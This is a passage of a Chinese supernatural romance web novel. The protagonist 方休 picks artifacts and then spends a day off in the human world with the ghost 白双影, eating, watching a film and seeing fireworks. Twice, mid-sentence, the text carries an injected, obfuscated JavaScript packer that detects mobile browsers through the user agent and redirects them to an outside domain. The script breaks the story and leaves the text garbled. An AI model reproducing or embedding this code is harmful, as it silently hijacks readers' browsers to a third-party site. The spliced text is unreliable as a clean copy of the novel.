纸人取过画卷让黄毛往卷轴上滴了一滴血。只见那画卷红光一闪亲昵地飞到黄毛手中。 黄毛原地嘿嘿直笑:“我完事了你们也赶紧。” 贾旭轻咳一声朝方休摆出一副破冰的姿态:“让他选那个没问题吗?” 他没有压低声音近在咫尺的黄毛可以听得一清二楚。 方休头也不抬:“什么让不让的他自己要选我哪管得着。” 贾旭:“可是队伍的实力需要保证……” 方休转向黄毛:“杜志超你爸叫什么?” 黄毛有点状况外:“啊?我爸叫杜保财。” ……和撞死弟弟的毒贩名字一样关鹤全身一颤。 他刚想说什么方休按了按他的肩膀若无其事地看向贾旭:“你看他爸又不叫方休。路都是自己选的我没立场管教他。” 说完 他没管贾旭的反应,直接推着关鹤走了。 关鹤眼有点红,他勉强憋住了情绪:“方哥,到底怎么回事? “我有点好奇祭品分组的标准。麦子老棉夫妻俩一个组,老金那伙人也是打包一起进来的,不太可能是巧合。 “所以我猜,咱们这些人也有因果关联……那个肇事司机姓杜,黄毛正好也姓杜,我顺口问了问。 面对关鹤的疑问,方休答得很耐心,“关鹤,杜保财早就被**了。你的首要任务是活着出去,不要招惹黄毛。 关鹤做了好几个深呼吸:“……好。 方休说得对,当年的**已然伏法。祭祀才是头等大事,他绝不能为了发泄仇恨而无理取闹。 关鹤咬紧牙关,他继续挑选法器,不再往黄毛那边看。 出乎方休的意料,第二个选好法器的是成松云。 她选了一串檀木佛珠。这串佛珠共一百零八颗,可以镇静心神,抵御幻觉。 成姐是真的肯动脑子,方休暗暗赞叹。 对于其他人来说,这串佛珠十分鸡肋,只能当作玄学镇定剂。 但成松云最强大的就是一手怨鬼盾,开盾代价恰恰是幻觉之苦。有了这东西,怨鬼盾的实用性将大大加强。 成松云冲方休轻轻点了点头,认领了佛珠。 稍后,梅岚挑了个竹制甘露碗。 竹碗只有茶杯大小,里面永远装满水,可以随梅岚心意封存或洒出。那些水能够净化诅咒,和梅岚的“水面潜行相性很好。 关鹤则挑花了眼,果断求助方休。 方休帮关鹤选了一条“黑眼纱 之前,大家的厉鬼只是单纯附身,鬼术必须由鬼来使用。就像人骑马——人是人,马是马,大家可以合作,但各有意志。 人鬼合一,约等于人和马合成一个马人。 如此一来,关鹤可以自由使用小儿鬼的力量,无需消耗时间与它沟通。 “这样你不容易引鬼注意,可以自由穿墙,还能使用五鬼搬运术。 方休细心解释,“用游戏打比方,你就是完美的盗贼职业。再戴上五帝钱和玉佛,你会非常安全。 关鹤感激之余,也有点担忧。 方休的拿手好戏就是隐藏,他们的角色定位有些重复。关鹤不希望方休为了他的安全,牺牲队伍的全面性。 于是他问:“可是方哥,这么说的话,你也是盗贼啊?其实我体力很好,也可以冲前线—— 方休:“我是输出职业。 关鹤:“? 方休坚定地重复了一遍:“我是输出职业,有什么问题吗? 关鹤不问了。 也许方休看中了什么杀伤力超高的法器,他不确定地想道。 几个小时过去,只有方休和贾旭两个人还没选好。 黄毛抱着宝贝画卷,连打了得有一百个哈欠:“你俩有完没完啊,我可是不到三分钟就搞定了。 贾旭看中了一套张扬的役鬼令旗,一个人骨骰子。他一直举棋不定,纠结到额头满是汗珠。 方休则是慢悠悠地转,脸上没什么情绪。 他平静地路过千奇百怪的法器,偶尔停下来看看说明。人们只看见白双影轻轻飘在他身后,却听不见白双影做出简短的点评—— “垃圾,垃圾,垃圾……尚可。 每当听到“尚可,方休才会停下来看一看。 考虑到此人的安全问题,白双影专门留意了盔甲之类的法器。可惜它们个个沉重宽大,方休的体格压根撑不起来。 武器同理。此处最好的是一把破煞**,可它足足有三十六斤沉。到时候很难说是方休甩枪,还是枪甩方休。 白双影从没这么心累过。 他时刻注意着四周,嘴里机械地念叨“垃圾和“尚可。突然他意识到,方休已经很久没有挪地方了。 方休停在一根桃枝之前。 那桃枝长度约等于一把短剑。枝条色如白骨,没有叶片,枝头开满雪一般的纯白桃花。 桃骨煞,鬼器。可以放大阴气鬼术的威力,仅邪祟可用。 白双影:“这个确实不错,但你用不了。 白双影这边说着,方休那边自顾自地拿起桃枝。它很轻,触手寒凉,枝头桃花轻轻颤动,却没有花瓣落下。 这东西漂亮归漂亮,方休直接将它拿在手中,顿时升起一种很不舒服的感觉。他的五脏六腑沉沉地往下坠,像是生吞了一肚子冰块。 不愧是仅限邪祟使用的不祥之物。 “就这个。方休说,“咱们俩一起破了中秋厄,奖励当然也要平分。这个东西简直太适合你了,不拿根本是犯罪。 白双影:“我不需要。 “你总得护身啊。我想要法器的话,完全可以自己抢。方休说。 “但是在这里挑的东西能够带回人世。 白双影知道,方休肯定能选出两全其美的法器——既能应付祭祀,也能拿去人间占便宜的那种。 方休压根不听,他拿着桃枝就往门口跑,边跑边学白双影的语气:“我不需要! 如果白双影熟悉人类社会,他会发现方休的姿态宛如饭后抢着买单。 可惜白双影从未入世,他的思绪已经飞到了别的地方—— 仔细想想,这样不是不行。 桃骨煞确实强力,自己可以借它的名头出手攻击。 只要下手没有太过分他就不会惊动地府。 ……这样一来他也能更好地保护方休。 方休找纸人登记的时候正撞上贾旭。 方休有点意外。以贾旭的性格他还以为贾旭会选那个能役鬼的令旗结果贾旭选了那个其貌不扬的人骨骰子。 贾旭一脸满足像是彻底想通了。想到那骰子的能力介绍方休暗暗叹气。 贾旭一定会后悔的他想。 纸人登记时一直很平静可是见到方休拿着桃枝走过来它整只鬼都不好了:“您、您怎么选了这个?这这这是邪祟用的……您换个吧咱这就陪您挑……” 方休:“这个可以认主吗?” “您有立契的邪祟确实可以但但但是……” 方休:“我知道了这个东西很贵重。” 纸人不吭声了。 方休微笑起来继续扎心:“我就选这个不换啦。” “说来之前的事故是你的责任。我们拿走这些法器上司姐姐该不会让你买单吧?” 纸人缓缓流下泪来它一边抽泣一边给方休滴血认主。 “呜呜我要白干五百年了……”离开法器库时方休听见了纸人的嚎啕。 …… 最后一天假期人间放风的好日子! 纸人三令五申禁止他们乱说祭祀的事——鬼差暗中盯着要是有人泄密鬼差会删除知情人的记忆泄密者也会遭到重罚。 接着纸人给了他们每人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705275|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一台手机外加一万元活动经费。 难得回人间待一天每个人都有想做的事。大家决定分头行动好好使用难得的假期。 看到蓝天的那一刻方休抽了抽鼻子:“真好……” 时值六点街上的早餐店都开了门。方休闻着炸糕和鸡蛋灌饼的香气感动得想要落泪。 方休特地空着肚子没吃早餐。他今天要吃上五顿 然后他可以和白双影一起看个电影再把这座城市转个遍。游乐园和水族馆都不错要么趁机看个展? 等到晚上他要拉白双影去逛真正的步行街。白双影之前对棉花糖很感兴趣如今他的鬼真的可以吃到了…… 方休只恨一天没有七十二小时。 他抹了两把脸继续贪婪地看着。只见街道两边绿树婆娑有些树叶已经变成了金黄色。早餐店铺热气腾腾油香里混了清甜的桂花香气。 瞧着街上来来往往的行人方休掐了把手臂还是有种做梦似的不真实感。 ……阳间果然很棒。 方休眼眶有点酸忍不住使劲眨了眨眼。 白双影的注意力则在别处。 步行街的风格他还 算熟悉,眼前的一切却是全然陌生的。 他没有在道路上发现马匹或木车,只有一群奇形怪状的铁盒子跑来跑去。变幻的屏幕随处可见,阳光照亮无数高楼大厦,玻璃幕墙的反光让他有些眼晕。 一架飞机飞过天空,白双影抬起头,直直望向那只铁鸟。又是他不认识的东西,千百年过去,世间翻天覆地。 原来方休生活在这样的世界。他对方休的了解,没准比他想象的还要少。 事情有些麻烦了,白双影心想。 ……其实白双影很少主动了解什么,他甚至很少动脑子。 他生来精通天道法则,不必专门学习。 他也会记忆人间奇闻传说。但对白双影而言,那不过是悠悠岁月留下的尘沙。他只是知晓,并不理解。 不过他为什么要理解人类? 人类对他而言不过是朝生暮死的虫豸。别说人类,有时他只是发了会儿呆,天上神仙也要换上一换。 万物短暂,思考与探究都没有任何意义。 所以对于世间一切,白双影的态度向来是“无所谓”。 有人想交流,他看心情交流。没人打扰他,他就放空。若是有谁胆敢伤害他,他便直接毁灭对方。 “封印事件”发生前,他就这样简简单单地活着。 ……现在不喜欢动脑的恶果出现了。 要想解开封印,他必须在八场祭祀结束前“理解方休”。 白上神不得不转动发呆半生归来仍是九成新的脑子,全力分析眼前的人类。 方休没有发现自家鬼的宕机。 兴奋之下,他伸出手,直接抓住了白双影的手腕。 “我们有一整天呢!”他语调高高扬起,“走走走,我带你尝尝人间食物。偶尔吃点垃圾食品,应该不要紧吧。” 白双影:“唔。” “待会我查查附近的景点,你选你最感兴趣的几个——” “方休。” “嗯?” 白双影:“地府不禁止正常联络,你可以联系你的人类朋友。” 也许他能记下方休的人际关系,推断方休曾经的人生。 方休不好意思地笑了两声:“我没有朋友……” 这句话听起来太过悲惨,他赶忙补充,“我确实有可以联系的人,我只是不想打扰人家。今天就咱们俩逛,有你在这就足够了。” 白双影无言以对。 很好,他本来就不懂人心。现在出现一位心眼多如马蜂窝的,他偏偏还得正面研究。 白双影叹气:“你有特别想做的事情么?” “上午咱们先去看电影,晚上去那条步行街。下午你来定,怎么样?”方休瞬间精神起来。 “电影?” “你可以想象动起来的照片,或者特别真实的戏台表演。” 方休快乐地比划,“咱们去看3D巨幕,绝对过瘾。” 白双影确实知道戏台表演,他思考了会儿,又问:“看什么故事?” 方休向他展示手机:“刚好有部不错的灾难片。哦,就是那种邪恶怪物降世,人类毁灭的故事。” 白双影:“……” 准备毁灭人间的邪恶怪物白双影:“?” 要不是看到海报上那只丑陋巨兽,他差点以为方休在刺探自己。 “你喜欢看人间毁灭?”白双影惊讶。 方休挠了半天脑袋:“看点倒不是这个,你看完就懂了。” “好。” 日后闻名地府的“第一次约会”,就此开始。 第 45 章 人世之间 第45章人世之间 【无情与强欲。】 白双影谢绝了方休的早餐邀请,方休没有强求。为了吃下更多食物他甚至找了家药店 然后他就开始了。 小馄饨,来一碗。八宝粥,来一杯。煎饼果子来一套……方休风卷残云地扫荡早餐店,活像粉碎机成精。 白双影看得一双眼微微睁大——这人怎么能做到吃得细嚼慢咽的同时又吃得飞快? 地府给的皮囊也是皮囊。方休腰瘦皮肉薄这一路吃下来他的胃部吃得稍稍凸起。白双影实在没忍住,伸手戳了戳方休的肚子。 方休正在喝豆腐脑他被白双影戳得全身一激灵,差点给呛到。 “别,我肚子怕痒。”方休咳嗽了半天,脸涨得通红。 白双影有点遗憾地收回手。 他的人类从清晨六点开始吃一路吃到九点十五电影开场。 开场前方休还特地在影院买了焦糖爆米花和可乐——反正是地府出钱,不花白不花。 白双影第一次看见粮食**,对爆米花升起几分兴趣。 方休见缝插针地挨过去:“需要给你画个圈吗?” 这里不是解厄塔,这些也不是生魂,方休不确定白双影能不能直接吃阳间食物。他把爆米花桶伸向白双影,一脸求知若渴。 白双影从他的爆米花桶里拈了一颗,吃了。 “尚可。”他评价。 这种处理粮食的手法还挺新鲜他先前只见过人类磨粉和蒸煮。 说罢,方休还没来得及反应,白双影顺势探过头去。他学着方休的动作吸了口方休的可乐。 那头长发淌上方休的手腕方休原地凝固。 他喉结动了动,手指微微收紧活像那根吸管上也有他的神经末梢。 自己刚刚才用过吸管这样会不会有点不合适…… 以前他的饮料也被同学这样喝过当时方休只觉得脏兮兮的很不爽直接把饮料送给对面了。 如今他并不觉得白双影哪里脏。白双影那身白衣连尘埃都落不上本体更是漂亮得像不属于这个世界。 方休就是感觉有点别扭。 说来前两天他还把人家搂在怀里嚼了大半夜。看着面前一袭白衣的白双影方休后知后觉地回过味来只觉得更别扭了。 另一边白双影喝可乐喝得眉头紧皱:“这东西像是在咬我。” 方休回过神来嘴角扭了扭:“那是二氧化碳……算了那是小气泡**没事的。” 白双影看向爆米花:“现在的人类这么喜欢‘**’吗?” 方休没绷住当着售货 员笑出了声。 他额外买了一桶巧克力口味的爆米花,顺便给他的鬼点了杯柠檬红茶——柠檬红茶不会咬人,喝起来非常安全。 白双影恰到好处地隐藏了自己,没有制造“冰红茶自行漂浮”的惊悚事件。人们只知道方休身边有个人,却很难将注意力集中在那人身上。 如此这般,两人顺利入场。 一人一鬼头戴3D眼镜,一手爆米花一手饮料,占据了观影厅最好的位置。工作日上午人不多,加上这部电影是重映,观影厅里的人寥寥无几,效果堪比包场。 电影是非常老套的灾难爱情片,情节很简单——污染泄露催生了变异巨兽,巨兽把城市踏成废墟。一男一女临危受命,组装强力武器接近怪兽,最终将其杀死。 主线与其说是对付怪兽,不如说是“两位主角怎么从冤家变成情侣”。 白双影爆米花吃得认真,观影姿态异常端正。他全程没有发出声音,比绝大多数人类还规矩。 方休瘫软四肢,脑袋顺势靠住自家鬼,斜斜看着屏幕。 其实这部电影他看过好几遍——手机上看过,电脑上看过,唯独没来过电影院。 和他想象的差不多,巨幕的表现力确实惊人,与朋友一起看电影的感觉也很美妙。 方休唯一遗憾的是,白双影实在太过淡定。哪怕是面对3D版天崩地裂,他的鬼也安然坐在原位,完全没被惊到。 他每隔一会儿就往白双影脸上看,看得后者伸出手,把他的脑袋掰向银幕。 看完整场电影,白双影若有所思:“原来是番邦人的故事。” 方休咬着可乐吸管:“是国外挺出名的爽片。哦对,爽片是指让人心情舒畅的电影。” 白双影垂下目光:“我不觉得舒畅。” “哎?” “妖物所求的只是生存,它之所以毁坏城市,是因为它的身躯过于庞大。” 白双影回忆电影情节,“故事里的人全在仇恨它,可我看不出它的错处。一开始就是人类投放毒物,才催生了那只妖物。” “因为它踩**很多人,人类总会站在自己的视角看问题。”方休顺口解释。 白双影哼了声:“明明只是生存争斗,却非要惺惺作态,指责对面‘不通人性’。异种凭什么要理解人类?” 说完,白双影忽地反应过来——方休也是人类,他不该太过直接。 于是他连忙吃了两颗爆米花,假装这只是闲聊的一部分。 结果方休:“谁说不是呢。” 白双影:“?” “确实是人类排放污染在先,那些人该死。但不能因为一部分人犯了错,全世界的人类就得乖乖躺下等死。” 方 休盯着滚动的片尾字幕,“另一方面,怪物没理由为了迁就人类而遭罪,要它一个个分辨无辜也不现实——就像人类被毒虫咬了,只会毁掉整个虫巢,而不是寻找那只咬自己的虫子。 “就像你说的,这只是单纯的生存争斗,谈不上对错。 这视角有点不像正常人类,白双影心想。他的人类这么善解鬼意吗? 白双影:“你当真的觉得‘怪物毁灭人间’谈不上对错? 方休挠挠头:“具体情况具体分析,反正我觉得这种不算……这只是电影情节啦,真要说现实,‘人类毁灭人间’倒更有可能。 原来是纸上谈兵。不过方休没有无条件站人世,这是个好迹象。 “要是真有邪祟想要毁灭人间呢?白双影问。 方休:“能和平解决尽量和平解决,实在不行就堂堂正正打一场。 白双影顿了顿,假装无意道:“如果我说,我想毁灭人间呢? 方休沉默。 几秒后,方休:“六点的时候,你看到那些上班的人了吗? 白双影点头。 方休:“六点就要出门上班诶。我保守估计,里面大概有五成的人也想要毁灭人间。 白双影:“…… 方休叹气:“我本人也有希望世界毁灭的时候。大家就是想想,反正也做不到。怎么,难道你能做到吗? 白双影实事求是:“不能。现在还不能。 方休语重心长:“你是不是遇到了超级不爽的事,偏偏有委屈没处讲,或者讲出来也没用。这种时候幻想毁灭世界很正常,兔子急了都咬人呢。 白双影:“………… 他无话可说。更糟的是,方休还真猜了个八.九不离十。 方休拽拽白双影的袖子:“你看,咱们和电影还是不一样的。对我们这种倒霉蛋来说,毁灭世界不是目的,是手段啊! 白双影:“………………手段? “对,让心情变好的手段。 方休坚定道,“所以你要是心情不好,尽管跟我讲。说不定我能找到让你心情变好的办法,再不济,说出来也好受点……心情好了就不用做‘毁灭世界’那种麻烦事了。 这个人类的歪理有点厉害,白双影心想。他看着满脸真诚的方休,陷入了短暂的混乱。 最后他决定跳过这个危险话题:“所以你说的看点是什么?我看完了,还是没发现。 方休既不认同故事的主题,电影的计谋水平又一般。难道这个人类真的察觉了什么,选片另有深意…… 方休:“看主角谈恋爱啊,这部片子的恋爱戏很不错的。 白双影一口气吃光剩余的爆米花 ,走了。 “哎哎哎你等等——” …… 下午,白双影没选那些一听就很带劲的知名景点,而是临时选中了一家猫咖。这家猫咖很偏僻,年轻人又都在上班,两人成了店里唯二的客人。 白双影很满意。他中午被方休拉去了人声鼎沸的酒店,看人类看得有点心烦。 这回震惊的变成了方休。 众所周知,小动物们非常讨厌邪祟,部分地区还有黑猫**辟邪的说法。然而店里的猫咪看到白双影,一个接一个黏了上去,不受欢迎的反而变成了方休自己。 只见白双影坐在角落,四面衣摆压满了猫,还有几只跳上他的腿,脑袋在白双影袖子上狂蹭。一只胆大包天的狸花跳上了白双影肩膀,用爪子去勾那头长发。 一时间,猫咪呼噜声此起彼伏。 偏偏白双影的表情还挺放松,完全没有面对人类时的冷淡。他任由那群猫蹂躏他的白袍,发丝被舔也不生气。 方休不信邪地凑过去,几只猫警惕地避开了他。 方休身上血债太多,他知道自己煞气重,对这样的场景有心理准备。但这不公平,白双影可是正儿八经的邪祟! 方休彻底迷茫了。 ……为什么,难道白双影是猫薄荷成精? ……白双影身上是有植物清香不假,但猫薄荷也不是白的啊? 方休小心翼翼:“难道你是猫妖大王?” 众所周知猫是液体,可能白双影的本体只是一种异象。 白双影:“我只是喜欢动物。” “人类也是动物。” “动物没有人类那么多破事。” “……那确实。” 方休蹑手蹑脚挤到白双影身边,决定蹭一点猫撸。那狸花冲方休嘶嘶哈气,结果被白双影捏住后颈皮,放在了方休面前。 方休摸了两把。狸花耳朵变成了飞机耳,身体微微颤抖。 方休叹了口气:“算了。” **太多的副作用,他认。 于是到了最后,白双影摸了一下午猫**,方休摸了一下午白双影的袖子,两位都度过了一段愉快的时光。 直到夜幕降临。 临去步行街前,方休特地买了两束花。他不想让店老板为难,所以没有定祭奠花朵,只要求配色淡雅,“中秋”一点。 几年过去,步行街没有太大的改变。 电器店正常营业,紧挨着步行街牌坊,进门就能看到。电器店旁边的奶茶店也开着,还在卖桂花奶茶。 电器店的店员胖乎乎的,长得很喜庆,自称是店里的副店长。而店里照片展示板上,赫然放着黎烁的照片。 照片上的黎烁还是那头挑染,他冲拿相机的人挤眉弄眼,笑 得很开心。 “这两束花可以留在这吗?方休指了指黎烁的照片,“那算我半个朋友,我来看看他。 胖店员吃惊:“你认识我师父? “你师父? “对,他好几年前带过我,手艺可好了。但他有年中秋突然就不来了,电话打不通,去住处找也没人。我们都知道他出了事,但又不清楚出了啥事。 胖店员有点激动地看向方休,“黎哥他到底咋样了?有人说他被抓了,有人说他出了意外,反正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705276|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说啥的都有。 果然,有黎烁的家人和女友在,警方不会到处宣传黎烁的事。 方休抿抿嘴:“他救人牺牲了。 胖店员愣了会儿:“那得是见义勇为啊,咋没报道呢? 方休:“情况有点复杂,我也不好说人家的隐私。 “算了。黎哥救人也不奇怪,他人特仗义……谢谢你啊,还专门过来一趟,介意我跟老板说不?也算帮他了个心事。 胖店员叹了好一会儿气,接过那两束花。 “不介意。 胖店员点点头:“哥,那你要不要跟你朋友拍个照啥的,今天我们店算你免费。 “不用,我们已经拍过了。方休摆摆手。 胖店员:“? 最近几年一直是他管店,他从来没见过这个人。 他刚打算再问,方休已然走远。 …… 夜晚的步行街几乎与祭祀一模一样,只是路上行人都有着清晰的面孔。 方休精准地找到了棉花糖摊位,给白双影买了个大大的棉花糖。他自己也顺手买了一个,准备迎接夜晚的烟花。 白双影尝了口棉花糖,口感轻飘飘的,比生魂还蓬松。他觉得新奇,多看了几眼摊子,方休索性又给他买了个水果口味。 “反正钱花不完,想吃什么尽管说。 方休啃着烤鱿鱼,望向晴朗的夜空。中秋节已过,但月亮看起来还挺圆的。 “我还有好多想做的事情没干成,怎么就只有一天假。他嘟囔道。 白双影:“你完成祭祀就好。 要是方休真能帮他顺利解封,大不了他等方休**再毁灭人世。 方休扭头看他:“我要是死在祭祀呢? “我会继续帮你,你—— “我要是**,你会难过吗?方休没等白双影说完,继续问。 白双影看了会儿方休:“不会。 他从不会为了人类的心情特地说谎,无论是从前还是现在。更重要的是,他不认为自己能骗过方休这个精明的骗子。 听到这个回答,方休语调愉快:“果然是这样,所以我才觉得你是个完美朋友。今天多谢了,我玩得很开心 。” 白双影疑惑:“人类不是更希望别人在意吗?” 方休伸出左右食指,在胸口比了个“×”。 “这是我和你。” 方休轻声说道,“我有我的目的,你也有你的执念。有个词叫人鬼殊途,我们注定会分开。” “如今我们正好在交叉点。至于分开之后,你对我有什么看法,其实都没有太大意义——我们肯定不会再相见了,白双影。” 白双影不太喜欢这么绝对的说法。 他思考片刻:“说不定你能回到人世,然后横死。这样你变成厉鬼,我们仍可能见面。” 方休:“……谢谢你啊,我想我不会横死的。” 说罢,他勾了勾打叉的手指,“告诉你个秘密,交叉点有个很大的好处,只有人类才知道。” 白双影沉默地观察那两根手指。 方休笑了:“两根手指紧紧挨着,交叉点很暖和,让人安心。” 也许白双影跟着他只是想吃美味生魂,但方休无所谓。时至今日,他的鬼不再像一个看客,他们好像真的成了携手前行的朋友。 这种感觉实在太过美妙,方休很舍不得。要是白双影会因为他们的分别难过,他反而难办。 他的鬼如此无情,真是太好了。 这种感觉就像提前写下一份遗书。他注定看不见回信,可以尽情书写秘密、遗憾与心愿。 白双影没有再说话,天上的烟花也始终没有绽开。 棉花糖老板看两人在这杵着看天,憋不住提醒:“小伙子看烟花?今年街上没焰火咯。” 方休震惊:“为什么……?!” 棉花糖老板:“说是有消防隐患,没的办法。” 方休满脸失望,他在这等了宝贵的一个多小时——! 眼看时间不早,方休沮丧地买了最后两个棉花糖。他习惯性把第一个做出来的递给白双影,他的鬼却没有接。 白双影仍然没能搞懂方休“安心感”的来源,但他努力思考了很久。 之前,他知道方休是个幽冥刺客,目标全是血债累累的活人——方休只为自己的利益**,但会很慷慨地把生魂分享给他。 如今,他知道方休会爽快地分享一切。这个人类只想让他们尽量开心地相处,直到分别的那一刻。 白双影突然觉得,这比响应祈求愉快许多。 他的人类从不给供奉明码标价,自己无需一笔笔清算。他主动帮助方休,方休高高兴兴道谢;他什么都不做,方休也不会憎恨他。 为什么其他人类不能这样呢,白双影想不明白,也懒得去想。 但是只有他一个人满足,不能算“开心地相处”。 白双影拿出了那根桃骨煞,步行街的灯光给那惨白的法器镀了一层金色。 他站到方休身后,用拿着桃枝的左手握住方休的左手。白双影轻松引动方休的“点火”,虚虚朝天空一指—— 赤红焰火瞬间绽满天空,它们灿烂而繁盛,比祭祀中的景象还要美丽。 步行街一片哗然,白双影能感受到鬼差的骚动,但是无所谓。 要罚便罚,他从不看地府的脸色。 方休的呼吸停了一瞬,变得有些急促。白双影的袖子被捏紧了,稍微有点痛。 这样应该够了,白双影想。 “这样可不行。”方休说。 他转过头,目光灼灼地看向白双影,“今天之后,我会想要更多东西的。” 第 46 章 明码标价 第46章明码标价 【奇怪的筹码。】 烟花炸开的声势过于浩大,红光绽放的一瞬,方休没能反应过来。而在反应过来的头几秒,他的大脑仍然一片空白。 白双影站在他身后,他的脊背轻轻压着白双影的胸口,凉凉的;白双影手握桃骨煞,五指拢着他的手背,还是凉凉的。 方休却像是灌了一口开水。整个胸口都在烧,身上冒出一层汗来。 这一天他到处游玩,始终有种微妙的疏离感。 就像乘坐火车观赏景色,他只是一日过客,与人间隔着一层厚厚的玻璃。他是他,人间是人间。 此时此刻,夜空被无数光束打碎,那扇看不见的玻璃窗也骤然碎裂了。 ……他不再是一个潜藏在阴影里的人,这是为他而生的焰火,他真的与这个世界交融了一瞬。 方休的心脏一阵抽搐,他熟练地控制呼吸平复心跳,可惜没能成功。 也许是前半生太倒霉,这次他简直运气爆棚—— 他不仅遇见了白双影这样一个“完美朋友”,甚至体验了一把麻酥酥的心悸。人生头一回,方休指尖好像有电火花在跳,又烫又痒。 “这样可不行。”他忍不住对白双影说道,“今天之后,我会想要更多东西的。” 白双影侧头看他:“那就快去买,假期还没结束。” 方休知道他的鬼听不懂其中深意,他随口换了话题:“……你为什么要放烟花?” 白双影不是真正的艳鬼,这一手大概和情商没关系。 白双影疑惑地望着方休,仿佛方休问了一句了不得的废话。 “因为你想看。”白双影理所当然道。 酥麻的感觉又回来了,方休搓搓指尖,突然特别想要摸一摸那颗血痣。 最终他喉结动了动,忍住了。他把目光从白双影身上移开,转向漫天闪烁的烟花。 心悸仍未停止,那是种轻轻拉扯的抽疼,酸涩里带着点爽快,就像喝刚打好的冰可乐。 ……方休没喜欢过别人,不清楚这算不算心动。他也不知道放任下去,会不会影响自己的日常状态。 ……算了,先体验再说。说不定过段时间,这种感觉就消失了呢。 心跳稍稍平复,方休手掌一翻,抓住白双影的手腕:“走,再买点东西就回去。” 白双影嗯了声,临走时没忘拿上他的棉花糖。 夜空之中,焰火仍在盛放。 …… 地府事先说明过,他们花钱买的东西可以带入解厄塔的房间,但不能带进祭祀。然而回归解厄塔的时候,方休和白双影手上还是拿满大包小包。 本着经费就 要花完的原则方休在电器店购买了大量充电宝知名品牌的小音箱和平板电脑。剩下的钱用来打包零食和饮料。 和他俩比起来其余人看着“轻便”多了。 成松云眼睛又红又肿大概和女儿通过了电话。她把钱全存进了自己的账户说万一自己死在祭祀钱还能留给她的女儿。 梅岚和关鹤也做了类似的事不过他们想的是等自己活着出去能多拿一些钱。 贾旭买了些高档烟酒嫌钱不够花。黄毛则是买了一大箱颜色鲜艳的……情趣用品。 黄毛咧嘴笑:“你们不懂这两天我爽得要死……” 白双影不认识那些东西他刚要凑近观察就被方休面不改色地拖走了。 “别看都是些没用的玩意儿。”方休严肃地说一路把自家鬼拉回房间。 他可不想听黄毛开黄腔更不想看白双影的手去碰那些东西。他的鬼手十指修长天生就该拿桃骨煞。 刚进房间方休就把一大堆零食整理到储物柜里又用满电小音箱连上平板试着播放下载好的音乐。 考虑到白双影一身古装大概接受不了太前卫的东西方休专门存了些自然系纯音乐。此刻伴随着连绵雨声 他的鬼瞬间把黄毛那箱东西抛诸脑后摸猫一样摩挲音箱试图弄清声音是怎么发出来的。 方休听着舒缓的音乐看着这幅景象居然又冒出了一点儿幸福感。 趁白双影研究电器方休用技能热了瓶桂花奶茶静悄悄爬上床。 “要尝尝桂花奶茶吗?只有牛奶和桂花茶没气泡。” 方休溜到白双影身后拧开饮料盖子朝白双影的方向递了递。 白双影警惕地打量了会儿瓶子侧过身子品尝。 这个角度白双影的衣领微微敞开露出漂亮的锁骨线条。桃骨煞斜斜插在白袍前襟花朵鲜活得像是刚刚盛开。 之前方休还能以纯欣赏的目光看。现在他只觉得桂花奶茶加热过了头正在用瓶身攻击他的手。 “不错。”白双影就着方休的手喝了两口舔舔嘴唇。 方休看见了自家鬼一闪而过的舌尖:“那真是太好了我们这就休息吧晚安白双影。” 说完他嗖地缩回被子里连那瓶桂花奶茶都不继续喝。 白双影:“?” 一天下来他的人类变得越发难以理解。 见方休打算睡白双影有点不舍地离开了小音箱缓缓贴回天花板。 其实那天在床上躺过一晚白双影认为软床比天花板舒服。睡过暖烘烘软绵绵的方休和床垫他有点嫌弃坚硬的天花板。 哪怕 有被方休咀嚼的风险他还是觉得床铺更好些。 可是方休整个人钻进被子一副作茧自闭拒绝全世界的态势。白双影也不好把被子强行扒开问方休想不想分享床铺。 ……先维持现状好了白双影心想。 被子内部。 方休吐出一口气痛斥自己的没出息。 有什么不好意思的!……白双影都把他看光了他就看个舌尖怎么了! 人生苦短他就看下次使劲看。他长了眼睛就是要欣赏美不可以吗? 然后他突然意识到白双影根本不用睡觉贴在天花板上整晚整晚地观察自己。 这想法让方休不知道该怎么入睡了他们还不如背靠背拼床躺——哪怕和朋友吃饭面对面和并排坐的心情也不太一样 可是突然叫白双影和自己睡一张床听起来像是真正意义上的登徒子。 ……先维持现状好了方休心想。 那一晚方休梦里全是美丽的红色烟花以及那一轮皓白的月亮。和实际情况不同梦里烟花炸得咚咚响像心跳。 …… 次日清晨众人已然有种“麻了”的适应感。 大家都把各自的法器带在了身上。成松云沉默地盘着佛珠连黄毛都煞有介事地背了仕女图。 早饭前方休终于得到了说好的乾坤袋。 它看起来就是个小小的白布袋袋子口用红线绣了个“方”字。方休只需把它塞进口袋它便会瞬间化作口袋内衬让方休变身哆啦○梦。 袋子容量大概一立方米东西装进去没什么重量。不过这袋子只能装法器和死物不能装邪祟和活人。 地府也算严防死守没给他留多少**空间。 纸人送完乾坤袋欲言又止:“昨天两位在商业街……” “我知道。”方休沉痛地表示“如果阳间要处罚我们我们绝对配合。” 阳间处罚?纸人愣住。 方休满眼真诚:“我们不是违反了阳间消防规定吗?” 纸人:“呃您的厉鬼当众使用术法引发异象至少十位阴差目击到了鬼焰烟花。” 方休:“哦可是那和祭祀没关系。如果您觉得我们泄了阴间的密您可以拿出证据我绝对没有二话。” 纸人无语。 要说他们泄密纸人还真拿不出证据。鬼焰烟花也是烟花没人认为那是阴间手笔焰火本身也没什么危险。 